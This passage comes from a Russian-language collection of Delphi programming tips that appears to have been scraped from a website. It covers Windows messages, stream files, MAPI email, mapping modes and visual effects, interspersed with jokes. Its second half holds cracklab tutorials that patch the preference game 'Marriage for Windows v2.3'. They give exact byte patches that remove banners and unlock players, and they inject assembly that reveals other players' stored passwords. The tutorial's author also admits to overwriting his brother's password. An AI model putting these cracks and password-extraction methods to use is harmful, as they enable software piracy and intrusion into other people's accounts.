inherited;
end;
procedure TFormManyMess.MouseDown(Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then
LBox.Items.Add (Format ('%s in (%d, %d)',
['MouseDown', X, Y]));
inherited;
end;
procedure TFormManyMess.ApplicationMessage (var Msg: TMsg;
var Handled: Boolean);
begin
if (Msg.Message = wm_LButtonDown) and
(Msg.hWnd = Handle) then
LBox.Items.Add (Format ('%s in (%d, %d)',
['ApplicationMessage', LoWord (Msg.LParam),
HiWord (Msg.LParam)]));
Handled := False;
end;
procedure TFormManyMess.FormCreate(Sender: TObject);
begin
Application.OnMessage := ApplicationMessage;
end;
procedure TFormManyMess.Button1Click(Sender: TObject);
begin
LBox.Clear;
end;
end.
|
Загрузить исходный код проекта.
Программа запускается только нужное количество раз.
| Программа похожа на женщину. Либо она хорошая, либо бесплатная. |
Если ты хочешь воспользоваться системным реестром для достижения своей цели тогда объяви в разделе uses (в начале модуля) модуль Registry - выглядеть это будет примерно так:
uses Registry; |
А потом по созданию окна напиши следующий код:
procedure TForm1.FormCreate(Sender: TObject);
var
a: TRegistry;
Count: Integer;
begin
if FileExists('c:\Windows\kernel.fhd') = false then
begin
a := TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
WriteInteger('RunCount', 1);
CloseKey;
Free;
end;
FileCreate('c:\Windows\kernel.fhd');
end
else
begin
a:=TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
Count := ReadInteger('RunCount');
CloseKey;
Free;
end;
if Count = 3 then
halt;
else
begin
Inc(Count);
a := TRegistry.Create;
with a do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\oor', true);
WriteInteger('RunCount', Count);
CloseKey;
Free;
end;
FileCreate('c:\Windows\kernel.fhd');
end;
end;
end;
|
Сохранить несколько потоков в сжатый зашифрованный файл.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This example shows you how to save many streams into a single file and load it again.
You need to install the HKStream component from the Demo-Download.
The HKStreams component enables you to store streams with LHA compression if wanted,
and can also be encrypted with blowfish.
THKStreams is also smart, if you load afterwards an encrypted or compressed (or both) file,
it will now how to read it, and can also call your event that asks the user
for a password if needed.
In the following example we will store several components
(TMemo, TListbox, some other controls)
and a Version-Information in a single file and then read it back.
THKStreams enables you to write your own file format and easily access streams
in a file, as they are stored in different sections.
}
{
Dieses Beispiel zeigt, wie man mehrere Stream in eine Datei speichern kann.
Dafur wird die THKStreams Komponente verwendet, welche es unter anderem erlaubt,
eine Datei mit LHA zu komprimieren und mit Blowfish zu verschlussseln.
Auch kann einer Datei ein Passwort hinzugefugt werden, welches dann beim Offnen
der Datei vom Benutzer eingegeben werden muss.
Im Beispiel werden einige Komponenten wie TMemo, TListbox und diverse Controls einer
Groupbox und Versions-Informationen in einer einzigen Datei gespeichert.
Mit der THKStreams Komponente kann man leicht sein eigenes Dateiformat schreiben und
sehr einfach auf Streams zugreifen, da diese in einzelne Sektionen unterteilt sind.
}
uses
HKStreamCol; { from Demo-Download }
private
{ Private declarations }
function SaveHKFile(FileName: TFileName): boolean;
function LoadHKFile(FileName: TFileName): boolean;
public
{ Public declarations }
end;
implementation
{$R *.dfm}
//--------------------------------------------------------
// Save our File
function TfrmMain.SaveHKFile(FileName: TFileName): Boolean;
//--------------------------------------------------------
var
ms: TMemoryStream;
i: integer;
s: string;
StrList: TStringList;
begin
ms := TMemoryStream.Create;
try
with HKStreams1 do
begin
// Version Info
//--------------------------------
i := 1;
ms.Write(I, SizeOf(I));
AddStream('Version-Info', ms);
ms.Clear;
// Author Info
//--------------------------------
s := 'Your Name';
ms.WriteBuffer(s[1], Length(s));
AddStream('Author-Info', ms);
ms.Clear;
// Memo1
//--------------------------------
Memo1.Lines.SaveToStream(ms);
AddStream('Memo1', ms);
ms.Clear;
// ListBox1
//-------------------------------
ListBox1.Items.SaveToStream(ms);
AddStream('ListBox1', ms);
ms.Clear;
// Different Controls on Groupbox1
//-------------------------------
// Look at the Demo for GetSettings implementation
StrList := TStringList.Create;
try
GetSettings(StrList, GroupBox1);
StrList.SaveToStream(ms);
finally
StrList.Free;
end;
AddStream('Settings', ms);
ms.Clear;
// Save everything
// -----------------------------
SaveToFile(FileName);
ClearStreams;
end; {with}
finally
ms.Free;
end;
end;
//--------------------------------------------------------
// Load our File
function TfrmMain.LoadHKFile(FileName: TFileName): Boolean;
//--------------------------------------------------------
var
ms: TMemoryStream;
i: Integer;
s: string;
StrList: TStringList;
begin
if not FileExists(FileName) then
begin
ShowMessage('File not found');
// Customize Error handling...
Exit;
end;
try
HKStreams1.LoadFromFile(FileName);
except
on ECorruptFile do Exit;
on EStreamError do Exit;
end;
ms := TMemoryStream.Create;
try
with HKStreams1 do
begin
// Version Info
//--------------------------------
GetStream('Version-Info', ms);
ms.read(i, SizeOf(i));
label1.Caption := 'Version: ' + IntToStr(i);
ms.Clear;
// Author Info
//--------------------------------
GetStream('Author-Info', ms);
SetLength(S, ms.Size);
ms.read(S[1], ms.Size);
Label2.Caption := 'Author: ' + s;
ms.Clear;
// Memo1
//--------------------------------
GetStream('Memo1', ms);
Memo1.Lines.LoadFromStream(ms);
ms.Clear;
// ListBox1
//-------------------------------
GetStream('ListBox1', ms);
ListBox1.Items.LoadFromStream(ms);
ms.Clear;
// Different Controls on Groupbox1
//-------------------------------
// Look at the Demo for SetSettings implementation
GetStream('Settings', ms);
StrList := TStringList.Create;
try
StrList.LoadFromStream(ms);
SetSettings(StrList);
finally
StrList.Free;
end;
{ ----------------------------- }
ClearStreams;
end; {with}
finally
ms.Free;
end;
end;
//--------------------------------------------------------
// Save Dialog
procedure TfrmMain.btnSaveClick(Sender: TObject);
//--------------------------------------------------------
begin
if SaveDialog1.Execute then
begin
SaveHKFile(SaveDialog1.FileName);
end;
// Clear controls
ListBox1.Clear;
Memo1.Clear;
Edit1.Clear;
Edit2.Clear;
Edit3.Clear;
Edit4.Clear;
CheckBox1.Checked := not CheckBox1.Checked;
CheckBox2.Checked := not CheckBox2.Checked;
end;
//--------------------------------------------------------
// Open Dialog
procedure TfrmMain.btnLoadClick(Sender: TObject);
//--------------------------------------------------------
begin
if OpenDialog1.Execute then
begin
LoadHKFile(OpenDialog1.FileName);
end;
end;
Несколько таблиц в одном TDBGrid.
| Сидят два мужика и на лаптоп Винды генерят, а ничего не получается, потому как Винды... и на лаптоп. Примерно на восьмой инсталляции один из них меланхолично отмечает весь каталог с его подкалогами и тянется к кнопке. Второй и говорит: - Ты чего это делаешь?! - Как чего? Виндов бью! - А зачем? - Бей Виндов - спасай Россию... |
Для того, чтобы поместить данные из нескольких таблиц в один DBGrid, нужно воспользоваться объектом TQuery. На заметку: используйте TQuery в режиме только для чтения, если вы не можете обеспечить гарантию выполнения некоторых из его руководящих принципов, один из которых - данные могут быть получены только от одной таблицы.
Несколько таблиц в одном TDBGrid 2.
| Купили программеры компьютеры. В первый день позапускали все программы. Во второй день форматнули все винты. В третий день позапускали все, что можно и отформатнули все, что можно. А потом пришел хакер и тут такое началось... |
Если у вас D2, вы можете воспользоваться свойством Lookup. Для этого выберите в контекстном меню объекта table редактор полей (fields editor). Затем для добавления нового поля нажмите +N. Просто раскройте combobox и выберите lookup-поле. TDBGrid автоматически создаст выпадающий список, в котором пользователь сможет выбрать нужный элемент.
MAPI и MS Exchange.
| Модема-модема, чукча почту хочет! |
Используйте для регистрации:
MapiLogon(application.handle,nil,nil,mapi_use_default,0,@mapihandle); |
Чтобы послать сообщение:
MapiSendMail(mapihandle, 0,MapiMessage,0, 0); |
Также, с помощью API функции GetWindowHandle, необходимо убедиться в том, что Exchange запущен, в противном случае для запуска клиента используйте ShellExecute.
Отослать письмо с аттачем через MAPI.
| - ИТ обеспечение. - Это Пупкин из отдела продаж. Я получил от вас письмо, что нужно выключать компьютер на ночь. - Правильно. Вы умеете это делать? - А вы думаете, я идиот?!!! Только мне, к сожалению, нельзя этого делать. Мне ночью отправляют очень много важных писем, и я тогда их не получу... |
uses
Mapi;
function SendEMail(Handle: THandle; Mail: TStrings): Cardinal;
type
TAttachAccessArray = array [0..0] of TMapiFileDesc;
PAttachAccessArray = ^TAttachAccessArray;
var
MapiMessage: TMapiMessage;
Receip: TMapiRecipDesc;
Attachments: PAttachAccessArray;
AttachCount: Integer;
i1: integer;
FileName: string;
dwRet: Cardinal;
MAPI_Session: Cardinal;
WndList: Pointer;
begin
dwRet := MapiLogon(Handle,
PChar(''),
PChar(''),
MAPI_LOGON_UI or MAPI_NEW_SESSION,
0, @MAPI_Session);
if (dwRet <> SUCCESS_SUCCESS) then
begin
MessageBox(Handle,
PChar('Error while trying to send email'),
PChar('Error'),
MB_ICONERROR or MB_OK);
end
else
begin
FillChar(MapiMessage, SizeOf(MapiMessage), #0);
Attachments := nil;
FillChar(Receip, SizeOf(Receip), #0);
if Mail.Values['to'] <> '' then
begin
Receip.ulReserved := 0;
Receip.ulRecipClass := MAPI_TO;
Receip.lpszName := StrNew(PChar(Mail.Values['to']));
Receip.lpszAddress := StrNew(PChar('SMTP:' + Mail.Values['to']));
Receip.ulEIDSize := 0;
MapiMessage.nRecipCount := 1;
MapiMessage.lpRecips := @Receip;
end;
AttachCount := 0;
for i1 := 0 to MaxInt do
begin
if Mail.Values['attachment' + IntToStr(i1)] = '' then
break;
Inc(AttachCount);
end;
if AttachCount > 0 then
begin
GetMem(Attachments, SizeOf(TMapiFileDesc) * AttachCount);
for i1 := 0 to AttachCount - 1 do
begin
FileName := Mail.Values['attachment' + IntToStr(i1)];
Attachments[i1].ulReserved := 0;
Attachments[i1].flFlags := 0;
Attachments[i1].nPosition := ULONG($FFFFFFFF);
Attachments[i1].lpszPathName := StrNew(PChar(FileName));
Attachments[i1].lpszFileName :=
StrNew(PChar(ExtractFileName(FileName)));
Attachments[i1].lpFileType := nil;
end;
MapiMessage.nFileCount := AttachCount;
MapiMessage.lpFiles := @Attachments^;
end;
if Mail.Values['subject'] <> '' then
MapiMessage.lpszSubject := StrNew(PChar(Mail.Values['subject']));
if Mail.Values['body'] <> '' then
MapiMessage.lpszNoteText := StrNew(PChar(Mail.Values['body']));
WndList := DisableTaskWindows(0);
try
Result := MapiSendMail(MAPI_Session, Handle,
MapiMessage, MAPI_DIALOG, 0);
finally
EnableTaskWindows( WndList );
end;
for i1 := 0 to AttachCount - 1 do
begin
StrDispose(Attachments[i1].lpszPathName);
StrDispose(Attachments[i1].lpszFileName);
end;
if Assigned(MapiMessage.lpszSubject) then
StrDispose(MapiMessage.lpszSubject);
if Assigned(MapiMessage.lpszNoteText) then
StrDispose(MapiMessage.lpszNoteText);
if Assigned(Receip.lpszAddress) then
StrDispose(Receip.lpszAddress);
if Assigned(Receip.lpszName) then
StrDispose(Receip.lpszName);
MapiLogOff(MAPI_Session, Handle, 0, 0);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
mail: TStringList;
begin
mail := TStringList.Create;
try
mail.values['to'] := 'Receiver-Email@test.xyz';
mail.values['subject'] := 'Hello';
mail.values['body'] := 'blah';
mail.values['body'] := 'blah';
mail.values['attachment0'] := 'C:\Test.txt';
// mail.values['attachment1']:='C:\Test2.txt';
sendEMail(Application.Handle, mail);
finally
mail.Free;
end;
end;
|
Изменить режим координат.
Автор: Xavier Pacheco
{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}
unit MainFrm;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Menus, DB, DBCGrids, DBTables;
type
TMainForm = class(TForm)
mmMain: TMainMenu;
mmiMappingMode: TMenuItem;
mmiMM_ISOTROPIC: TMenuItem;
mmiMM_ANSITROPIC: TMenuItem;
mmiMM_LOENGLISH: TMenuItem;
mmiMM_HIINGLISH: TMenuItem;
mmiMM_LOMETRIC: TMenuItem;
mmiMM_HIMETRIC: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure mmiMM_ISOTROPICClick(Sender: TObject);
procedure mmiMM_ANSITROPICClick(Sender: TObject);
procedure mmiMM_LOENGLISHClick(Sender: TObject);
procedure mmiMM_HIINGLISHClick(Sender: TObject);
procedure mmiMM_LOMETRICClick(Sender: TObject);
procedure mmiMM_HIMETRICClick(Sender: TObject);
public
MappingMode: Integer;
procedure ClearCanvas;
procedure DrawMapMode(Sender: TObject);
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
procedure TMainForm.ClearCanvas;
begin
with Canvas do
begin
Brush.Style := bsSolid;
Brush.Color := clWhite;
FillRect(ClipRect);
end;
end;
procedure TMainForm.DrawMapMode(Sender: TObject);
var
PrevMapMode: Integer;
begin
ClearCanvas;
Canvas.TextOut(0, 0, (Sender as TMenuItem).Caption);
// Set mapping mode to MM_LOENGLISH and save the previous mapping mode
PrevMapMode := SetMapMode(Canvas.Handle, MappingMode);
try
// Set the viewport org to left, bottom
SetViewPortOrgEx(Canvas.Handle, 0, ClientHeight, nil);
{ Draw some shapes to illustrate drawing shapes with different
mapping modes specified by MappingMode }
Canvas.Rectangle(0, 0, 200, 200);
Canvas.Rectangle(200, 200, 400, 400);
Canvas.Ellipse(200, 200, 400, 400);
Canvas.MoveTo(0, 0);
Canvas.LineTo(400, 400);
Canvas.MoveTo(0, 200);
Canvas.LineTo(200, 0);
finally
// Restore previous mapping mode
SetMapMode(Canvas.Handle, PrevMapMode);
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
MappingMode := MM_TEXT;
end;
procedure TMainForm.mmiMM_ISOTROPICClick(Sender: TObject);
var
PrevMapMode: Integer;
begin
ClearCanvas;
// Set mapping mode to MM_ISOTROPIC and save the previous mapping mode
PrevMapMode := SetMapMode(Canvas.Handle, MM_ISOTROPIC);
try
// Set the window extent to 500 x 500
SetWindowExtEx(Canvas.Handle, 500, 500, nil);
// Set the Viewport extent to the Window's client area
SetViewportExtEx(Canvas.Handle, ClientWidth, ClientHeight, nil);
// Set the ViewPortOrg to the center of the client area
SetViewportOrgEx(Canvas.Handle, ClientWidth div 2, ClientHeight div 2, nil);
// Draw a rectangle based on current settings
Canvas.Rectangle(0, 0, 250, 250);
{ Set the viewport extent to a different value, and
draw another rectangle. continue to do this three
more times so that a rectangle is draw to represent
the plane in a four-quadrant square }
SetViewportExtEx(Canvas.Handle, ClientWidth, -ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
SetViewportExtEx(Canvas.Handle, -ClientWidth, -ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
SetViewportExtEx(Canvas.Handle, -ClientWidth, ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
// Draw an ellipse in the center of the client area
Canvas.Ellipse(-50, -50, 50, 50);
finally
// Restore the previous mapping mode
SetMapMode(Canvas.Handle, PrevMapMode);
end;
end;
procedure TMainForm.mmiMM_ANSITROPICClick(Sender: TObject);
var
PrevMapMode: Integer;
begin
ClearCanvas;
// Set the mapping mode to MM_ANISOTROPIC and save the previous mapping mode
PrevMapMode := SetMapMode(Canvas.Handle, MM_ANISOTROPIC);
try
// Set the window extent to 500 x 500
SetWindowExtEx(Canvas.Handle, 500, 500, nil);
// Set the Viewport extent to that of the Window's client area
SetViewportExtEx(Canvas.Handle, ClientWidth, ClientHeight, nil);
// Set the ViewPortOrg to the center of the client area
SetViewportOrgEx(Canvas.Handle, ClientWidth div 2, ClientHeight div 2, nil);
// Draw a rectangle based on current settings
Canvas.Rectangle(0, 0, 250, 250);
{ Set the viewport extent to a different value, and
draw another rectangle. continue to do this three
more times so that a rectangle is draw to represent
the plane in a four-quadrant square }
SetViewportExtEx(Canvas.Handle, ClientWidth, -ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
SetViewportExtEx(Canvas.Handle, -ClientWidth, -ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
SetViewportExtEx(Canvas.Handle, -ClientWidth, ClientHeight, nil);
Canvas.Rectangle(0, 0, 250, 250);
// Draw an ellipse in the center of the client area
Canvas.Ellipse(-50, -50, 50, 50);
finally
//Restore the previous mapping mode
SetMapMode(Canvas.Handle, PrevMapMode);
end;
end;
procedure TMainForm.mmiMM_LOENGLISHClick(Sender: TObject);
begin
MappingMode := MM_LOENGLISH;
DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_HIINGLISHClick(Sender: TObject);
begin
MappingMode := MM_HIENGLISH;
DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_LOMETRICClick(Sender: TObject);
begin
MappingMode := MM_LOMETRIC;
DrawMapMode(Sender);
end;
procedure TMainForm.mmiMM_HIMETRICClick(Sender: TObject);
begin
MappingMode := MM_HIMETRIC;
DrawMapMode(Sender);
end;
end.
Отобразить строку специфической записи.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TEmployee = record
cNo: array [0..3] of Char;
cName: array [0..7] of Char;
end;
PEmployee = ^TEmployee;
procedure ParseData;
const
sData = '0001Mosquito';
var
sNo, sName: string;
begin
with PEmployee(Pointer((@sData)^))^ do
begin
sNo := cNo; // sNo = '0001'
sName := cName; // sName = 'Mosquito'
end
end;
Мраморное окно.
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!! Всё, что вам нужно сделать для того, чтобы ваше окно выглядело так же эффектно, как и показанное на рисунке , это только написать несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:
procedure TForm1.FormPaint(Sender: TObject);
var
i, j: Integer;
begin
with Form1.Canvas do
for j := 0 to Form1.Height do
for i := 0 to Form1.Width do
Pixels[i, j] := Trunc(Random($00000095));
end;
|
С помощью двух циклов мы обошли поверхность окна (канву) и каждому пикселю задали случайный оттенок нужного цвета. (Для тех, кто не знает, ПИКСЕЛЬ - это мельчайшая точка). Цвет задаём 16-ричным кодом, например я указал: $00000095. Получилось весьма неплохо :-)) Вы можете изменить цвет.
Второй способ (более быстрый):
procedure TForm1.FormPaint(Sender: TObject);
var
h, w, i, j: Integer;
Rect1, Rect2: TRect;
begin
h := Form1.Height div 10;
w := Form1.Width div 10;
with Form1.Canvas do
begin
for j := 0 to h do
for i := 0 to w do
Pixels[i,j]:=Trunc(Random($00000095));
Rect1 := Rect(0, 0, w, h);
for j := 0 to 9 do
begin
for i := 0 to 9 do
begin
Rect2 := Rect(w*j, h*i, w*(j+1), h*(i+1));
CopyRect(Rect2, Form1.Canvas, Rect1);
end;
end;
end;
end;
|
Исследование Marriage for windows v2.3 по-русски.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
"Знал бы прикуп - Жил бы в Сочи" Все, надеюсь, любят играть в преферанс. Например, я провожу за этим делом больше, чем за исследованием программ (шутка :) Вот попалась мне в руки Windows-версия этой программки и мне сразу понравилась. Но когда я стал понемногу проигрывать, а мой брат, который зарегистрировался и поставил пароль, стал выигрывать, меня начала терзать весёлая мысля: "..." Итак, во-первых мне захотелось поиграть за компьютер, т.е. под одним из имен (рентген, бакалавр...) но когда их выбираешь, то кнопка "Новая Игра" становится недоступной (disable). Будем ломать... ставим бряк bpx EnableWindow do "p ret" - эта функция может сделать enable/disable с почти любым объектом (стандартным и не очень Ж) теперь попытаемся кликнуть на любого компьютерного игрока и вываливаемся в айсе тут (листинг взят из WDasm'a)::00437EFD E8DAEEFCFF Call user32.EnableWindow :00437F02 5B pop ebx :00437F03 C3 retКак видите, функция вложенная, т.е. вызывается откуда-то, поэтому скролим по программе (F10) выходя из вложенных функций (т.е. проходя по ret'am), и очень скоро мы очутимся вот тут:
:004DC350 FF5228 call [edx+28] <--проверка, кто есть игрок :004DC353 84C0 test al, al <-- если он компьютер :004DC355 7504 jne 004DC35B <--то не прыгаем и значит кнопка "Новая игра" disable :004DC357 33DB xor ebx, ebx :004DC359 EB02 jmp 004DC35D :004DC35B B301 mov bl, 01 :004DC35D 8BD3 mov edx, ebx :004DC35F 8B86A0030000 mov eax, dword ptr [esi+000003A0] :004DC365 8B08 mov ecx, dword ptr [eax] :004DC367 FF5160 call [ecx+60] :004DC36A 8BD3 mov edx, ebx <-- Мы тут :004DC36C 8B8684030000 mov eax, dword ptr [esi+00000384] :004DC372 8B08 mov ecx, dword ptr [eax]судя по отсутствию поблизости rеt'ов мы вышли из вложенных функций и видим, что по адресу 004DC355 интересный прыжок, убираем все бряки и ставим бряк на этот самый прыжок и выходим из айса. Теперь нажимаем на компьютерного игрока и видим, что прыжок не выполняется, выходим из айса, выбираем своего игрока и в айсе видим, что прыжок выполняется, т.е. нужно заменить jne 004DC35B на jmp 004DC35B и теперь при любом игроке кнопка "Новая игра" будет enable! Теперь можно "поиграть" допустим за "бакалавра", и каждый раз говорить мизер, даже когда нужно говорить 10 БК! Вот это кайф :) (после 10 минут такой игры у бакалавра было около -10000 :) Во-вторых я хотел "поиграть" за своего брата чтобы понизить его ставки, но он поставил пароль, которого я не знаю :( , будем ломать... беру RegMon, запускаю его, запускаю марриаж, создаю нового игрока, ввожу пароль, иду в RegMon и смотрю, куда же марриаж записывает пароли и вижу:
HKEY_LOCAL_MACHINE\Software\Marriage\Users\User2т.е. программа для каждого юзера создает раздел "user"+номер_юзера. в каждом разделе есть ключ "password" - интересно. Изучать алгоритм шифрования я не стал, я просто скопировал значение ключа "Password" у своего игрока и записал это значение в ключ "Password" у игрока брата :) Теперь оказалось, что у брата стоит мой пароль :) представляю его лицо :) Теперь я "поиграл" за брата, как и с бакалавром и на всякий случай вернул значение его пароля назад. В-третьих мне жутко не нравится реклама, поэтому я отважился убрать всю рекламу в главном окне (там 4 баннера и одна бегущая строка) - Всё равно все эти ссылки на паги в инете есть в Хелпе. Я не стал открывать Америку и искать создание окон, я подумал: раз программа не попакована, написана на делфи, то сам Бог велел использовать программку типа ExeScope, для выдирания и изменения ресурсов. Запускаем ExeScope, идём в раздел Resource, потом открываем раздел RCData, здесь хранится информация обо всех Form'ax программки, причём все свойства этих форм можно править :) После небольших поисков я нашёл в форме TMarriageMain вот что:
object RunString: TPanel;
судя по названию - это та самая бегущая строка
Left = 10
Top = 366
Width = 677;
!!!правим длинну окна на 0
Height = 51;
!!!и высоту на 0
BorderWidth = 3
Caption = 'RunString'
Font.Charset = DEFAULT_CHARSET
Font.Color = clRed
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
TabOrder = 1
Visible = False
object Panel5: TPanel
Left = 4
Top = 4
Width = 669;
!!!правим длинну окна на 0
Height = 43;
!!!и высоту на 0
Align = alClient
BevelOuter = bvLowered
Caption = 'Panel5'
TabOrder = 0
object RunLabel1: TRunLabel
Left = 1
Top = 1
Width = 667;
!!!правим длинну окна на 0
Height = 41;
!!!и высоту на 0
..........поскипано.........
end
после того как мы подправили в трёх местах длинну и высоту окна на 0 больше окна с бегущей строкой мы не увидим. Осталось четыре баннера...
Я искал хоть какой-нибудь намёк на описание баннеров в ресурсах, но не нашёл и решил ломать в лоб:
ставим бряк
bpx createwindowExA do "p ret" запускаем марриаж и фигеем, потому как эта функция при запуске вызывается около 200 (!) раз, это не удивительно: стоко ресурсов и написана на делфи. Короче, нам надо словить момент создания окон баннеров, т.е. нам нужен тот createwindowExA после которого появится баннерное окно. Я сделал так: убрал все бряки, запустил марриаж и в тот момент, когда уже появилось главное окно, но ещё не создались окна баннеров (там будет пару секунд времени чтобы успеть), я захожу в айс и ставлю бряк:
bpx createwindowExA do "p ret"
теперь F5 До тех пор, пока не появится рамка первого баннера (на месте баннера должна появится характерная серая рамка :). и когда мы вывалились в айсе после создания этой самой рамки, то это должно произойти где-то тут: :00435F33 E8040EFDFF Call user32.CreateWindowExA :00435F38 898640010000 mov dword ptr [esi+00000140], eax :00435F3E 5E pop esi :00435F3F 5B pop ebx :00435F40 C3 retвыходи из этой процедуры, оказываемся тут:
:00435E90 83BB4001000000 cmp dword ptr [ebx+00000140], 00000000 :00435E97 7505 jne 00435E9E :00435E99 E8C66BFDFF call 0040CA64теперь скролим, выходя из вложенных функций, пока не окажемся вот тут:
:004D74B9 E8B6B6F5FF call 00432B74 <-- проверяем нужны ли баннеры :004D74BE 8B8614050000 mov eax, dword ptr [esi+00000514] :004D74C4 85C0 test eax, eax :004D74C6 742B je 004D74F3 <--если да - НЕпрыгаем :004D74C8 8B7808 mov edi, dword ptr [eax+08] :004D74CB 4F dec edi :004D74CC 85FF test edi, edi :004D74CE 7C23 jl 004D74F3 :004D74D0 47 inc edi :004D74D1 C745FC00000000 mov [ebp-04], 00000000 :004D74D8 8B55FC mov edx, dword ptr [ebp-04] :004D74DB 8B8614050000 mov eax, dword ptr [esi+00000514] :004D74E1 E88E94F3FF call 00410974 :004D74E6 8BD3 mov edx, ebx :004D74E8 E887B6F5FF call 00432B74 <--создание окон баннеров (это та самая ф-ия, в котороы сработал бряк) :004D74ED FF45FC inc [ebp-04] :004D74F0 4F dec edi :004D74F1 75E5 jne 004D74D8 <--все создали? если нет - прыгаемкак видите, все окна баннеров создаются в цикле, а по адресу 004D74C6 можно этот цикл перепрыгнуть, заменив je 004D74F3 на jmp 004D74F3. Теперь больше не появляются баннеры! Ура! ВсЁ! А для самых ленивых, крак: --------вырезать тут---------- marriage for windows v2.3 CracK by vallkor//PTDS Removes Banners. You can play as Bakalavr. marriage.exe 000DB755: 75 EB 000D68C6: 74 EB -----------и тут------------- Исследовал и наваял туториал: vallkor //PTDS e-mail: vallkor@chat.ru page: http://vallkor.chat.ru
Как узнать пароли игроков в Marriage For Windows v 2.3.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Инструменты: 1) SoftIce 2) HView Все заядлые игроки в преферанс наверняка сталкивались с этой чудесной реализацией вечной игры. Однако, когда кто-то играет лучше тебя, то хочется ему все испортить, но не тут то было - вход в игру может быть закрыт паролем. А как же его узнать??? В прошлом исследовании мы нашли место, где проверяется введенный нами пароль с тем, который записан в реестре, вот это место:015F:004C9792 807DFF00 CMP BYTE PTR [EBP-01],00 <--проверяют совпадают ли длины паролей 015F:004C9796 7447 JZ 004C97DF <--если нет - прыжок 015F:004C9798 8D55F0 LEA EDX,[EBP-10] 015F:004C979B 8B45F8 MOV EAX,[EBP-08] 015F:004C979E 8B80DC020000 MOV EAX,[EAX+000002DC] 015F:004C97A4 E8B394F6FF CALL 00432C5C 015F:004C97A9 8B45F0 MOV EAX,[EBP-10] <--адрес нашего пароля 015F:004C97AC 8B5374 MOV EDX,[EBX+74] <--адрес правильного пароля 015F:004C97AF E884A8F3FF CALL 00404038 <--сравниваем 015F:004C97B4 750F JNZ 004C97C5 <--если равны - НЕ прыгаемЯ обнаружил, что правильный пароль расшифровывается из реестра при запуске программы, т.к. когда я его изменил в памяти, то при следующих попытках ввода пароля мой изменённый пароль принимался за правильный. Нам нужно найти место в программе, где зашифрованная строка расшифровывается. Я нашел это место, (а вы?):
015F:004B0759 8B95ACFCFFFF MOV EDX,[EBP-0354] <--"users\user#" 015F:004B075F A188484F00 MOV EAX,[004F4888] <-- 015F:004B0764 8B00 MOV EAX,[EAX] <--00243745h 015F:004B0766 B998094B00 MOV ECX,004B0998 <--"Password" 015F:004B076B E88038FAFF CALL 00453FF0 <--читаем и расшифровываем 015F:004B0770 8B95B0FDFFFF MOV EDX,[EBP-0250] <--адрес уже расшифрованного пароля 015F:004B0776 8D4674 LEA EAX,[ESI+74] <-- 015F:004B0779 E88235F5FF CALL 00403D00 <--Значит по здесь:
015F:004B0770 8B95B0FDFFFF MOV EDX,[EBP-0250]пароль уже расшифрован. А что если не разгадывать алгоритм шифра, а просто после того, как пароль расшифрован показать его! Итак, будем встраивать свою процедуру. Для этого нужно: 1) по адресу 004B0770 сделать безусловный переход на место, куда мы впишем нашу процедуру:
015F:004B0770 jmp 004F1C102) По адресу 004F1C10 напишем нашу процедуру. 3) востановим затертую прыжком операцию: mov edx,[ebp-0250] 4) в самом конце прыжок назад:
jmp 004B0776После изменений:
(1) .004B076B: E88038FAFF call .000453FF0 -------- (1) .004B0770: E99B140400 jmp .0004F1C10 -------- (2) .004B0775: 90 nop .004B0776: 8D4674 lea eax,[esi][00074] (2)процедура вывода паролей: .004F1C10: 8B95B0FDFFFF mov edx,[ebp][0FFFFFDB0] .004F1C16: 50 push eax .004F1C17: 8D4679 lea eax,[esi][00079] .004F1C1A: 6A00 push 000 .004F1C1C: 50 push eax .004F1C1D: 52 push edx .004F1C1E: 6A00 push 000 .004F1C20: E86FF6F0FF call MessageBoxA ;user32.dll .004F1C25: 83EC10 sub esp,010 ;"" .004F1C28: 58 pop eax .004F1C29: 5A pop edx .004F1C2A: 58 pop eax .004F1C2B: 58 pop eax .004F1C2C: 58 pop eax .004F1C2D: E944EBFBFF jmp .0004B0776 -------- (2)Теперь программа при запуске показывает MessageBox в заголовке которого имя игрока а в тексте - его пароль. Таких сообщений будет ровно столько, сколько игроков. Если игрок не назначил пароль, то сообщение выводиться не будет. ЗЫ: теперь вы можете всегда узнать пароль другого человека, имея "исправленную" версию marriage.exe Но это делать низзя, т.к. это прямое нарушение авторских прав. А вся эта статья только для того, чтобы обучить вас встраивать свой же код в свои же программы! До следующих встреч. Исследовал и наваял туториал: vallkor //PTDS E-mail: vallkor@chat.ru Page: http://vallkor.chat.ru
Исследование Masker v2.3.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
